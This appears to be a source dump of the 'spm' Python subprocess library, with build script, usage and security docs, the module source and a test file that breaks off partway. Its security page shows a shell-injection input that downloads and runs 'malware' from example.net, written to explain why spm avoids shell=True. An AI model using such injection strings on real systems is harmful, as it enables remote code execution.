pseudoxml to make pseudoxml-XML files for display purposes 38 | echo. linkcheck to check all external links for integrity 39 | echo. doctest to run all doctests embedded in the documentation if enabled 40 | echo. coverage to run coverage check of the documentation if enabled 41 | goto end 42 | ) 43 | 44 | if "%1" == "clean" ( 45 | for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i 46 | del /q /s %BUILDDIR%\* 47 | goto end 48 | ) 49 | 50 | 51 | REM Check if sphinx-build is available and fallback to Python version if any 52 | %SPHINXBUILD% 2> nul 53 | if errorlevel 9009 goto sphinx_python 54 | goto sphinx_ok 55 | 56 | :sphinx_python 57 | 58 | set SPHINXBUILD=python -m sphinx.__init__ 59 | %SPHINXBUILD% 2> nul 60 | if errorlevel 9009 ( 61 | echo. 62 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 63 | echo.installed, then set the SPHINXBUILD environment variable to point 64 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 65 | echo.may add the Sphinx directory to PATH. 66 | echo. 67 | echo.If you don't have Sphinx installed, grab it from 68 | echo.http://sphinx-doc.org/ 69 | exit /b 1 70 | ) 71 | 72 | :sphinx_ok 73 | 74 | 75 | if "%1" == "html" ( 76 | %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html 77 | if errorlevel 1 exit /b 1 78 | echo. 79 | echo.Build finished. The HTML pages are in %BUILDDIR%/html. 80 | goto end 81 | ) 82 | 83 | if "%1" == "dirhtml" ( 84 | %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml 85 | if errorlevel 1 exit /b 1 86 | echo. 87 | echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml. 88 | goto end 89 | ) 90 | 91 | if "%1" == "singlehtml" ( 92 | %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml 93 | if errorlevel 1 exit /b 1 94 | echo. 95 | echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml. 96 | goto end 97 | ) 98 | 99 | if "%1" == "pickle" ( 100 | %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle 101 | if errorlevel 1 exit /b 1 102 | echo. 103 | echo.Build finished; now you can process the pickle files. 104 | goto end 105 | ) 106 | 107 | if "%1" == "json" ( 108 | %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json 109 | if errorlevel 1 exit /b 1 110 | echo. 111 | echo.Build finished; now you can process the JSON files. 112 | goto end 113 | ) 114 | 115 | if "%1" == "htmlhelp" ( 116 | %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp 117 | if errorlevel 1 exit /b 1 118 | echo. 119 | echo.Build finished; now you can run HTML Help Workshop with the ^ 120 | .hhp project file in %BUILDDIR%/htmlhelp. 121 | goto end 122 | ) 123 | 124 | if "%1" == "qthelp" ( 125 | %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp 126 | if errorlevel 1 exit /b 1 127 | echo. 128 | echo.Build finished; now you can run "qcollectiongenerator" with the ^ 129 | .qhcp project file in %BUILDDIR%/qthelp, like this: 130 | echo.^> qcollectiongenerator %BUILDDIR%\qthelp\spm.qhcp 131 | echo.To view the help file: 132 | echo.^> assistant -collectionFile %BUILDDIR%\qthelp\spm.ghc 133 | goto end 134 | ) 135 | 136 | if "%1" == "devhelp" ( 137 | %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp 138 | if errorlevel 1 exit /b 1 139 | echo. 140 | echo.Build finished. 141 | goto end 142 | ) 143 | 144 | if "%1" == "epub" ( 145 | %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub 146 | if errorlevel 1 exit /b 1 147 | echo. 148 | echo.Build finished. The epub file is in %BUILDDIR%/epub. 149 | goto end 150 | ) 151 | 152 | if "%1" == "latex" ( 153 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 154 | if errorlevel 1 exit /b 1 155 | echo. 156 | echo.Build finished; the LaTeX files are in %BUILDDIR%/latex. 157 | goto end 158 | ) 159 | 160 | if "%1" == "latexpdf" ( 161 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 162 | cd %BUILDDIR%/latex 163 | make all-pdf 164 | cd %~dp0 165 | echo. 166 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 167 | goto end 168 | ) 169 | 170 | if "%1" == "latexpdfja" ( 171 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 172 | cd %BUILDDIR%/latex 173 | make all-pdf-ja 174 | cd %~dp0 175 | echo. 176 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 177 | goto end 178 | ) 179 | 180 | if "%1" == "text" ( 181 | %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text 182 | if errorlevel 1 exit /b 1 183 | echo. 184 | echo.Build finished. The text files are in %BUILDDIR%/text. 185 | goto end 186 | ) 187 | 188 | if "%1" == "man" ( 189 | %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man 190 | if errorlevel 1 exit /b 1 191 | echo. 192 | echo.Build finished. The manual pages are in %BUILDDIR%/man. 193 | goto end 194 | ) 195 | 196 | if "%1" == "texinfo" ( 197 | %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo 198 | if errorlevel 1 exit /b 1 199 | echo. 200 | echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo. 201 | goto end 202 | ) 203 | 204 | if "%1" == "gettext" ( 205 | %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale 206 | if errorlevel 1 exit /b 1 207 | echo. 208 | echo.Build finished. The message catalogs are in %BUILDDIR%/locale. 209 | goto end 210 | ) 211 | 212 | if "%1" == "changes" ( 213 | %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes 214 | if errorlevel 1 exit /b 1 215 | echo. 216 | echo.The overview file is in %BUILDDIR%/changes. 217 | goto end 218 | ) 219 | 220 | if "%1" == "linkcheck" ( 221 | %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck 222 | if errorlevel 1 exit /b 1 223 | echo. 224 | echo.Link check complete; look for any errors in the above output ^ 225 | or in %BUILDDIR%/linkcheck/output.txt. 226 | goto end 227 | ) 228 | 229 | if "%1" == "doctest" ( 230 | %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest 231 | if errorlevel 1 exit /b 1 232 | echo. 233 | echo.Testing of doctests in the sources finished, look at the ^ 234 | results in %BUILDDIR%/doctest/output.txt. 235 | goto end 236 | ) 237 | 238 | if "%1" == "coverage" ( 239 | %SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage 240 | if errorlevel 1 exit /b 1 241 | echo. 242 | echo.Testing of coverage in the sources finished, look at the ^ 243 | results in %BUILDDIR%/coverage/python.txt. 244 | goto end 245 | ) 246 | 247 | if "%1" == "xml" ( 248 | %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml 249 | if errorlevel 1 exit /b 1 250 | echo. 251 | echo.Build finished. The XML files are in %BUILDDIR%/xml. 252 | goto end 253 | ) 254 | 255 | if "%1" == "pseudoxml" ( 256 | %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml 257 | if errorlevel 1 exit /b 1 258 | echo. 259 | echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml. 260 | goto end 261 | ) 262 | 263 | :end 264 | -------------------------------------------------------------------------------- /docs/security.rst: -------------------------------------------------------------------------------- 1 | Why is spm secure? 2 | ================== 3 | 4 | There are two ways to execute subprocesses in python: 5 | 6 | * The first way is by passing a string to a shell. (``Popen('string', shell=True)``) 7 | * The second one is buy passing a list of arguments to ``exec()``. (``Popen([arguments])``) 8 | 9 | How are subprocesses executed 10 | ----------------------------- 11 | 12 | Subprocesses are executed with two system calls: ``fork()`` and ``exec()``. 13 | 14 | * ``fork()`` create a copy of the current subprocess as a child process 15 | * ``exec()`` replaces the current process by another program 16 | 17 | Here's how fork works: 18 | 19 | .. code:: python 20 | 21 | # This is going to print "Hello" twice 22 | import os 23 | os.fork() # Create two processes running the 24 | print "Hello" 25 | 26 | The previous script will print "Hello" twice. You might be wondering "What is 27 | the point?" 28 | 29 | Well — for example — this allow you to run an action in the background (like in 30 | another thread, but without the Python GIL): 31 | 32 | .. code:: python 33 | 34 | import os 35 | import sys 36 | 37 | def run_in_background(action): 38 | pid = os.fork() 39 | if pid > 0: # Parent process 40 | return # Return to code calling this funtion 41 | else: 42 | try: 43 | action() 44 | finally: 45 | # Kill the subprocess, You don't want it to return to the code 46 | # calling function, and execute actions twice 47 | sys.exit() 48 | 49 | On the other hand, ``exec()`` allow you to execute a command: 50 | 51 | .. code:: python 52 | 53 | import os 54 | 55 | # exec() has 6 different functions which are all 56 | # doing the same thing with a different interface. 57 | # execv() is one of them. 58 | os.execv('/usr/bin/ls', ['ls', '/tmp/']) 59 | print "This will never be printed" 60 | 61 | Running this python script in your shell, would do *exactly* the samething as 62 | running ``ls /tmp`` in your shell. (Assuming ``/usr/bin/`` is in your ``PATH``) 63 | 64 | You can also notice that the code after ``execv()`` will never be executed. 65 | Because the whole process is getting replaced by ``/usr/bin/ls``. 66 | 67 | So you should know where, we're going. Here's how subprocesses are executed: 68 | 69 | .. code:: python 70 | 71 | import os 72 | 73 | # This code is actually a lot more complex, because it includes logic to 74 | # handle input/output. 75 | def execute_subprocess(arguments): 76 | if os.fork() != 0: # Parent process 77 | return 78 | else: # Child process 79 | program = arguments[0] 80 | os.execv(program, arguments) 81 | # No need to sys.exit() since exec() never returns 82 | 83 | 84 | How does a shell work? 85 | ---------------------- 86 | 87 | So that you can understand well how a shell works, we'll just implement a very simple one. 88 | 89 | A shell just parse each line, and ``fork()`` and ``exec()`` with the arguments 90 | given in the line. It looks up commands in the ``PATH`` environment variable. 91 | 92 | For simplicity our shell won't support any environment variable manipulation. 93 | 94 | .. literalinclude:: files/shell.py 95 | :language: python 96 | 97 | 98 | Shell injection 99 | --------------- 100 | 101 | In order to do piping easily, most people use ``subprocess.Popen(shell=True)``. 102 | 103 | Let's take this example: 104 | 105 | .. code:: python 106 | 107 | import subprocess 108 | 109 | # Mypy hinting for documentation 110 | def does_url_contain(url: str, word: str) -> bool: 111 | returncode = subprocess.call('curl "{}" | grep "{}"'.format(url, word), shell=True) 112 | return returncode == 0 113 | 114 | Let's imagine you have a web form, in which you ask users to enter this data:: 115 | 116 | +-------------------------------------------+ 117 | | +--------------------------------------| 118 | | < | http://www.example.com/form/ || 119 | | +--------------------------------------| 120 | +-------------------------------------------+ 121 | | | 122 | | +----------------------+ | 123 | | Url: | | | 124 | | +----------------------+ | 125 | | | 126 | | +----------------------+ | 127 | | Word: | | | 128 | | +----------------------+ | 129 | | | 130 | +-------------------------------------------+ 131 | 132 | 133 | An attacker could enter, the url::: 134 | 135 | " || wget http://example.net/malware && chmod a+x malware && ./malware # 136 | 137 | This would execute the command:: 138 | 139 | curl "" || wget http://example.net/malware && chmod a+x malware && ./malware # | grep 140 | 141 | And would result in an attacker being able to execute a malware on your system. 142 | 143 | In order to mitigate this kind of attack ``does_url_contain`` should have been 144 | implented this way: 145 | 146 | .. code:: python 147 | 148 | import subprocess 149 | import shlex 150 | 151 | def does_url_contain(unsafe_url: str, unsafe_word: str) -> bool: 152 | url, word = shlex.quote(unsafe_url), shlex.quote(unsafe_word) 153 | returncode = subprocess.call('curl {} | grep {}'.format(url, word), shell=True) 154 | return returncode == 0 155 | 156 | 157 | Why spm isn't vulnerable to shell injection by default 158 | ------------------------------------------------------ 159 | 160 | In order to prevent shell injection, you have to sanitize every piece data 161 | passed to the shell. This requires discipline, and everybody knows that even 162 | with discipline, humans make errors. 163 | 164 | On the other hand, ``spm.run()`` doesn't allow for shell injection since it 165 | requires arguments to be passed as a list. (= directly to ``exec()``) 166 | 167 | The only way to create shell injection would be to call spm this way (which 168 | defeats the purpose of spm): 169 | 170 | .. code:: python 171 | 172 | import spm 173 | 174 | def subcommand(argument): # XXX: This is wrong!! 175 | return spm.run('bash', '-c', 'subcommand {}'.format(argument)) 176 | 177 | # The right way should be: 178 | import functools 179 | subcommand = functools.partial(spm.run, 'subcommand') 180 | 181 | 182 | spm is shellshock proof 183 | ^^^^^^^^^^^^^^^^^^^^^^^ 184 | 185 | Do you remember `shellshock `_? 186 | Code using ``subprocess.Popen(shell=True)`` could have been vulnerable since 187 | under the hood, it is calling ``/bin/bash -c youstring``. 188 | 189 | spm code wouldn't have been vulnerable. (Unless you would have called bash of course.) 190 | 191 | 192 | You still need spm even though you don't have any user data 193 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 194 | 195 | You might be wondering "why would I need spm if I don't have any user input". 196 | 197 | It is recommended to use spm, since it would escape spaces, and things like this. 198 | 199 | Also it provides a more pythonic API. 200 | 201 | 202 | .. _environment_propagation_security: 203 | 204 | Environment propagation opt-in 205 | ------------------------------ 206 | 207 | By default, spm doesn't propagate the environment to the subprocess. The user 208 | has to opt-in. 209 | 210 | This prevents information leakage. If the environment was propagated by 211 | default, spm run from a CGI script could leak information about the user IP, 212 | Cookies, ... 213 | 214 | This also ensure more security. ``LD_PRELOAD`` could be passed down to the 215 | process and execute arbitrary code. 216 | 217 | Of course, the environment can alway be propagated. Think twice before 218 | propagating the environment. 219 | -------------------------------------------------------------------------------- /docs/usage.rst: -------------------------------------------------------------------------------- 1 | Usage 2 | ===== 3 | 4 | .. testsetup:: * 5 | 6 | from spm import run, pipe, propagate_env 7 | 8 | Installation 9 | ------------ 10 | 11 | From cheeseshop 12 | ^^^^^^^^^^^^^^^ 13 | 14 | :: 15 | 16 | pip install spm 17 | 18 | From source 19 | ^^^^^^^^^^^ 20 | 21 | :: 22 | 23 | git clone git://github.com/acatton/python-spm spm 24 | pip install -e ./spm 25 | 26 | 27 | Learn by example 28 | ---------------- 29 | 30 | You can reduce spm to two function ``run()`` and ``pipe()``. But the objects 31 | returned by these two functions have many useful methods. 32 | 33 | Run subcommands 34 | ^^^^^^^^^^^^^^^ 35 | 36 | .. doctest:: 37 | 38 | >>> stdout, stderr = run('echo', 'Hello, World').wait() 39 | >>> stdout 40 | 'Hello, World\n' 41 | >>> stdout, stderr = run('false').wait() 42 | Traceback (most recent call last): 43 | ... 44 | subprocess.CalledProcessError: Command 'false' returned non-zero exit status 1 45 | 46 | 47 | ``run()`` create a subprocess, but it doesn't spawn it yet. ``wait()`` spawn is 48 | one way to spawn the said subprocess. 49 | 50 | You can also read its output: 51 | 52 | .. doctest:: 53 | 54 | >>> run('echo', 'Hello, World').stdout.read() 55 | 'Hello, World\n' 56 | 57 | 58 | Pipe subprocesses together 59 | ^^^^^^^^^^^^^^^^^^^^^^^^^^ 60 | 61 | Piping is done with ``pipe()``. 62 | 63 | ``pipe()`` accepts either an argument list or a ``Subprocess``. ``pipe()`` is 64 | also a method on ``Subprocess``. 65 | 66 | .. doctest:: 67 | 68 | >>> data, _ = pipe(['echo', '-n', 'Hello World'], ['bzip2']).wait() 69 | >>> import bz2 70 | >>> bz2.decompress(data) 71 | 'Hello World' 72 | 73 | 74 | Redirect output to a file 75 | ^^^^^^^^^^^^^^^^^^^^^^^^^ 76 | 77 | You can set ``Subprocess.stdout`` to an open file. ``spm`` will be in charge of 78 | closing it. 79 | 80 | .. doctest:: 81 | 82 | >>> proc = run('echo', 'Hello World') 83 | >>> import os 84 | >>> proc.stdout = open(os.devnull, 'w') 85 | >>> proc.wait() 86 | (None, None) 87 | 88 | 89 | Propagate the environment 90 | ^^^^^^^^^^^^^^^^^^^^^^^^^ 91 | 92 | You can use the keyword argument ``env`` on ``run()`` or ``pipe()`` in order to 93 | override some variable in the environment of the subprocess. 94 | 95 | .. doctest:: 96 | 97 | >>> run('env').stdout.read() 98 | '' 99 | >>> run('env', env={'FOO': 'BAR'}).stdout.read() 100 | 'FOO=BAR\n' 101 | 102 | For security reasons, the environment doesn't get propagated to the subprocess. 103 | See :ref:`environment_propagation_security`. 104 | 105 | The class ``propagate_env`` (but you should think of it as a function) will 106 | propagate the environment, and update it if you pass it 107 | 108 | .. doctest:: 109 | 110 | >>> run('env', env=propagate_env()).stdout.read().decode() != '' 111 | True 112 | >>> 'a=b' in run('env', env=propagate_env(a='b')).stdout.read().split('\n') 113 | True 114 | >>> 'FOO=BAR' in run('env', env=propagate_env({'FOO': 'BAR'})).stdout.read().split('\n') 115 | True 116 | 117 | 118 | 119 | Debug your subprocesses 120 | ^^^^^^^^^^^^^^^^^^^^^^^ 121 | 122 | You can debug your subprocesses and try to running manually by getting their 123 | representation or converting them to strings. 124 | 125 | Copying and pasting the string in your terminal should have exact the same 126 | result than calling ``wait()``. 127 | 128 | .. doctest:: 129 | 130 | >>> print(run('echo', 'Hello')) 131 | env - echo Hello 132 | >>> print(run('echo', 'Hello, World')) 133 | env - echo 'Hello, World' 134 | >>> run('echo', '$NAME') 135 | 136 | 137 | Create command functions 138 | ^^^^^^^^^^^^^^^^^^^^^^^^ 139 | 140 | You can also create a ``git()`` function if you wanted. This could be done 141 | thanks to ``functools.partial()``. 142 | 143 | .. doctest:: 144 | 145 | >>> from functools import partial 146 | >>> git = partial(run, 'git') 147 | >>> git('commit') 148 | 149 | >>> git('archive', '--output=/tmp/archive.tar.gz') 150 | 151 | 152 | API 153 | --- 154 | 155 | .. autoclass:: spm.Subprocess(args, env=None) 156 | :members: stdout, stdin, returncode, wait, pipe 157 | :undoc-members: __init__ 158 | 159 | .. autofunction:: spm.run 160 | 161 | .. autofunction:: spm.pipe 162 | -------------------------------------------------------------------------------- /pytest.ini: -------------------------------------------------------------------------------- 1 | [pytest] 2 | addopts = --doctest-modules --ignore=setup.py 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import os 2 | from setuptools import setup 3 | from setuptools.command.test import test as TestCommand 4 | 5 | 6 | def read(fname): 7 | dirname = os.path.dirname(__file__) 8 | with open(os.path.join(fname), 'r') as file_: 9 | return file_.read() 10 | 11 | 12 | class PyTest(TestCommand): 13 | def finalize_options(self): 14 | TestCommand.finalize_options(self) 15 | self.test_args = [] 16 | self.test_suite = True 17 | 18 | def run_tests(self): 19 | import pytest 20 | pytest.main(self.test_args) 21 | 22 | version = '0.9.1' 23 | 24 | setup(name='spm', 25 | version=version, 26 | description=("SubProcess Manager provides a simple programming interface " 27 | "to safely run, pipe and redirect output of subprocesses."), 28 | long_description=read('README.rst'), 29 | keywords=("api exec execute fork output pipe process processes redirect " 30 | "safe sh shell subprocess"), 31 | 32 | author="Antoine Catton", 33 | author_email="devel at antoine dot catton dot fr", 34 | 35 | license="MIT", 36 | url="https://github.com/acatton/python-spm", 37 | classifiers=[ 38 | "Development Status :: 4 - Beta", 39 | "Environment :: Console", 40 | "Intended Audience :: Developers", 41 | "Intended Audience :: System Administrators", 42 | "License :: OSI Approved :: MIT License", 43 | "Operating System :: POSIX", 44 | "Programming Language :: Python :: 2.7", 45 | "Programming Language :: Python :: 3.3", 46 | "Programming Language :: Python :: 3.4", 47 | "Programming Language :: Unix Shell", 48 | "Topic :: System :: System Shells", 49 | ], 50 | 51 | packages=['spm'], 52 | install_requires=[ 53 | 'six', 54 | ], 55 | tests_require=[ 56 | 'pytest', 57 | ], 58 | cmdclass={'test': PyTest}, 59 | ) 60 | -------------------------------------------------------------------------------- /spm/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Copyright (c) 2015 Antoine Catton 3 | # See the LICENSE file. 4 | 5 | import os 6 | import subprocess 7 | 8 | import six 9 | 10 | 11 | class _LazyPopen(object): 12 | """ 13 | Invoke Popen only when getting an attribute. 14 | 15 | This is internal to spm library. 16 | """ 17 | def __init__(self, parent): 18 | self._parent = parent 19 | self._wrapped = None 20 | 21 | @property 22 | def is_running(self): 23 | if self._wrapped is None: 24 | return False 25 | else: 26 | return self.poll() is None 27 | 28 | def __getattribute__(self, name): 29 | if name in ('_parent', '_wrapped', 'is_running'): 30 | return super(_LazyPopen, self).__getattribute__(name) 31 | else: 32 | if self._wrapped is None: 33 | kwargs = self._parent._get_popen_kwargs() 34 | self._wrapped = subprocess.Popen(**kwargs) 35 | 36 | return getattr(self._wrapped, name) 37 | 38 | 39 | class _LazyPopenAttribute(object): 40 | def __init__(self, obj, attr): 41 | self._obj = obj 42 | self._attr = attr 43 | self._wrapped = None 44 | 45 | def __getattribute__(self, name): 46 | if name in ('_obj', '_attr', '_wrapped'): 47 | return super(_LazyPopenAttribute, self).__getattribute__(name) 48 | else: 49 | if self._wrapped is None: 50 | self._wrapped = getattr(self._obj, self._attr) 51 | self._obj._parent._get_popen_attr() 52 | 53 | return getattr(self._wrapped, name) 54 | 55 | 56 | # Types with only one instance of it 57 | stdin = type('stdin_redirect', (object, ), {})() 58 | stdout = type('stdout_redirect', (object, ), {})() 59 | stderr = type('stderr_redirect', (object, ), {})() 60 | propagate_env = type('propagate_env', (dict, ), {}) 61 | 62 | 63 | @six.python_2_unicode_compatible 64 | class Subprocess(object): 65 | """ 66 | Subprocess object used to access properties of the subprocess such as its 67 | returncode. 68 | 69 | You shouldn't have to instantiate this class. ``run()`` and ``pipe()`` will 70 | do it for you. 71 | """ 72 | 73 | def __init__(self, args, stdin=None, stdout=None, stderr=stderr, env=None): 74 | if env is None: 75 | env = {} # Default argument 76 | 77 | self._stdin = stdin 78 | self._stdout = stdout 79 | self._stderr = stderr 80 | self._env = env 81 | self._args = args 82 | self._process = _LazyPopen(self) 83 | 84 | def _get_popen_kwargs(self): 85 | kwargs = dict(args=self._args, 86 | ) 87 | 88 | if self._stdin is None: 89 | kwargs.update(stdin=subprocess.PIPE) 90 | elif isinstance(self._stdin, Subprocess): 91 | kwargs.update(stdin=self._stdin.stdout) 92 | elif hasattr(self._stdin, 'fileno'): # File-like object 93 | kwargs.update(stdin=self._stdin) 94 | else: 95 | raise TypeError("stdin can't be anything else than another process " 96 | "or a file") 97 | 98 | if self._stdout is None: 99 | kwargs.update(stdout=subprocess.PIPE) 100 | elif hasattr(self._stdout, 'fileno'): # File-like object 101 | kwargs.update(stdout=self._stdout) 102 | else: 103 | raise TypeError("stdout can't be anything else than a file.") 104 | 105 | if isinstance(self._env, propagate_env): 106 | if len(self._env) > 0: 107 | environ = os.environ.copy() 108 | environ.update(self._env) 109 | kwargs.update(env=environ) 110 | elif isinstance(self._env, dict): 111 | kwargs.update(env=self._env.copy()) 112 | else: 113 | raise TypeError("env has to be a dictionnary.") 114 | 115 | return kwargs 116 | 117 | def _get_popen_attr(self): 118 | if isinstance(self._stdin, Subprocess): 119 | self._stdin._process._wrapped.stdout = None 120 | self._stdin._get_popen_attr() 121 | elif hasattr(self._process.stdin, 'close'): 122 | if not self._process.stdin.closed: 123 | self._process.stdin.flush() 124 | self._process.stdin.close() 125 | 126 | @property 127 | def stdout(self): 128 | """ 129 | Set the stdout of the subprocess. It should be a file. If its ``None`` 130 | it could be read from the main process. 131 | """ 132 | return _LazyPopenAttribute(self._process, 'stdout') 133 | 134 | @stdout.setter 135 | def stdout(self, value): 136 | if self._process.is_running: 137 | raise RuntimeError("Can't change stdout of a running process") 138 | 139 | self._stdout = value 140 | getattr(self, 'stdout') # Force the subprocess to run 141 | 142 | @property 143 | def stdin(self): 144 | """ 145 | Set the stdin of the subprocess. It should be a file. If its ``None`` 146 | it will be a pipe to wich you can write from the main process. 147 | """ 148 | if isinstance(self._stdin, Subprocess): 149 | return self._stdin.stdin 150 | else: 151 | return self._process.stdin 152 | 153 | @stdin.setter 154 | def stdin(self, value): 155 | if self._process.is_running: 156 | raise RuntimeError("Can't attach stdin to a running process") 157 | elif isinstance(self._stdin, Subprocess): 158 | self._stdin.stdin = value 159 | else: 160 | # Setting any other value than a subprocess to stdin runs the 161 | # subprocess. This can only be None or a Subprocess if the 162 | # subprocess isn't running. 163 | assert self._stdin is None, ("Contact the library developer if you " 164 | "ever hit that case.") 165 | self._stdin = value 166 | 167 | if not isinstance(value, Subprocess): 168 | # If the value is something else than a subprocess 169 | # invoke the process. _LazyPopen.stdout will invoke it. 170 | getattr(self, 'stdout') 171 | 172 | @property 173 | def returncode(self): 174 | """ 175 | Return the the returncode of the subprocess. If the subprocess isn't 176 | terminated yet, it will return ``None``. 177 | """ 178 | return self._process.poll() 179 | 180 | def __str__(self): 181 | ret = '' 182 | 183 | if isinstance(self._stdin, Subprocess): 184 | ret += str(self._stdin) + ' | ' 185 | 186 | if not isinstance(self._env, propagate_env): 187 | env = ('env', '-', ) 188 | elif len(self._env) > 0: 189 | env = ('env', ) 190 | else: 191 | env = tuple() 192 | 193 | env += tuple('{}={}'.format(k, v) for k, v in self._env.items()) 194 | 195 | ret += ' '.join(six.moves.shlex_quote(i) for i in (env + self._args)) 196 | return ret 197 | 198 | def __repr__(self): 199 | return ''.format(str(self)) 200 | 201 | def pipe(self, *args, **kwargs): 202 | r""" 203 | Pipe processes together. pipe() can receive an argument list or a 204 | subprocess. 205 | 206 | >>> print(run('echo', 'foo\nbar').pipe('grep', 'bar').stdout.read() 207 | ... .decode()) 208 | bar 209 | 210 | >>> noop = run('gzip').pipe('zcat') 211 | >>> print(noop) 212 | env - gzip | env - zcat 213 | >>> # This will be: echo -n foo | gzip | zcat 214 | >>> print(run('echo', '-n', 'foo').pipe(noop).stdout.read() 215 | ... .decode()) 216 | foo 217 | """ 218 | if len(args) == 0: 219 | raise ValueError("Needs at least one argument") 220 | elif len(args) == 1 and isinstance(args[0], Subprocess): 221 | otherprocess = args[0] 222 | if otherprocess._process.is_running: 223 | raise ValueError("Can't attach the output to the input of a " 224 | "running process.") 225 | else: 226 | otherprocess = run(*args, **kwargs) 227 | 228 | otherprocess.stdin = self 229 | return otherprocess 230 | 231 | def _wait(self): # Recursively wait from the beginning of the pipe 232 | if isinstance(self._stdin, Subprocess): 233 | self._stdin._process._wrapped.stdout = None # Hide stdout 234 | self._stdin._wait() 235 | return self._process.communicate() 236 | 237 | def wait(self): 238 | """ 239 | Waits for the subprocess to finish, and then return a tuple of its 240 | stdout and stderr. 241 | 242 | If there's no error, the stderr is ``None``. If the process fails (has 243 | a non-zero exit code) it raises a ``subprocess.CalledProcessError``. 244 | """ 245 | self._process.poll() # Warmup _LazyPopen of the whole pipe 246 | output, errors = self._wait() 247 | 248 | proc = self 249 | while True: # Go up in the pipe to find out if any subprocess failed 250 | if proc.returncode != 0: 251 | raise subprocess.CalledProcessError( 252 | proc.returncode, proc, output) 253 | 254 | if isinstance(proc._stdin, Subprocess): 255 | proc = proc._stdin 256 | else: 257 | break # Exit the loop when we hit the beginning of the pipe 258 | 259 | return output, errors 260 | 261 | 262 | def run(*args, **kwargs): 263 | """ 264 | Run a simple subcommand:: 265 | 266 | >>> print(run('echo', '-n', 'hello world').stdout.read().decode()) 267 | hello world 268 | 269 | Returns a Subprocess. 270 | """ 271 | return Subprocess(args, **kwargs) 272 | 273 | 274 | def pipe(cmd, *arguments, **kwargs): 275 | """ 276 | Pipe many commands:: 277 | 278 | >>> noop = pipe(['gzip'], ['gzip'], ['zcat'], ['zcat']) 279 | >>> _ = noop.stdin.write('foo'.encode()) # Ignore output in Python 3 280 | >>> noop.stdin.close() 281 | >>> print(noop.stdout.read().decode()) 282 | foo 283 | 284 | Returns a Subprocess. 285 | """ 286 | acc = run(*cmd, **kwargs) 287 | for cmd in arguments: 288 | if isinstance(cmd, Subprocess): 289 | acc = acc.pipe(cmd) 290 | else: 291 | acc = acc.pipe(*cmd, **kwargs) 292 | return acc 293 | -------------------------------------------------------------------------------- /test_spm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2015 Antoine Catton 3 | # See the LICENSE.txt file. 4 | 5 | import tempfile 6 | import os 7 | import unittest 8 | import subprocess 9 | import contextlib 10 | import signal 11 | 12 | import six 13 | from spm import run, pipe, propagate_env 14 | 15 | 16 | class TempFileMixin(object): 17 | def setUp(self): 18 | super(TempFileMixin, self).setUp() 19 | self._tempfiles = [] 20 | 21 | def get_temp_filename(self): 22 | fd, fname = tempfile.mkstemp() 23 | os.close(fd) 24 | return fname 25 | 26 | def tearDown(self): 27 | for fname in self._tempfiles: 28 | os.remove(fname) 29 | 30 | 31 | class DeadLockMixin(object): 32 | @contextlib.contextmanager 33 | def assertDoesNotHang(self, timeout=2): 34 | 35 | def handler(signum, frame): 36 | assert False, "Hanged for more than {} seconds".format(timeout) 37 | 38 | signal.signal(signal.SIGALRM, handler) 39 | try: 40 | signal.alarm(timeout) 41 | yield 42 | finally: 43 | signal.signal(signal.SIGALRM, signal.SIG_DFL) 44 | 45 | 46 | class RunTest(TempFileMixin, unittest.TestCase): 47 | def test_stdin_from_file(self): 48 | content = '__file_content__' 49 | 50 | fname = self.get_temp_filename() 51 | with open(fname, 'w') as file_: 52 | file_.write(content) 53 | 54 | cat = run('cat') 55 | cat.stdin = open(fname) 56 | 57 | assert cat.stdout.read().decode() == content 58 | 59 | def test_stdout_to_file(self): 60 | string = '__output__' 61 | 62 | fname = self.get_temp_filename() 63 | 64 | echo = run('printf', string) 65 | echo.stdout = open(fname, 'w') 66 | out, err = echo.wait() 67 | 68 | assert out is None 69 | 70 | with open(fname) as file_: 71 | assert six.u(file_.read()) == string 72 | 73 | def test_environment(self): 74 | env = run('env', env={'FOO': 'BAR'}).stdout.read().decode().split('\n') 75 | 76 | assert 'FOO=BAR' in env 77 | 78 | def 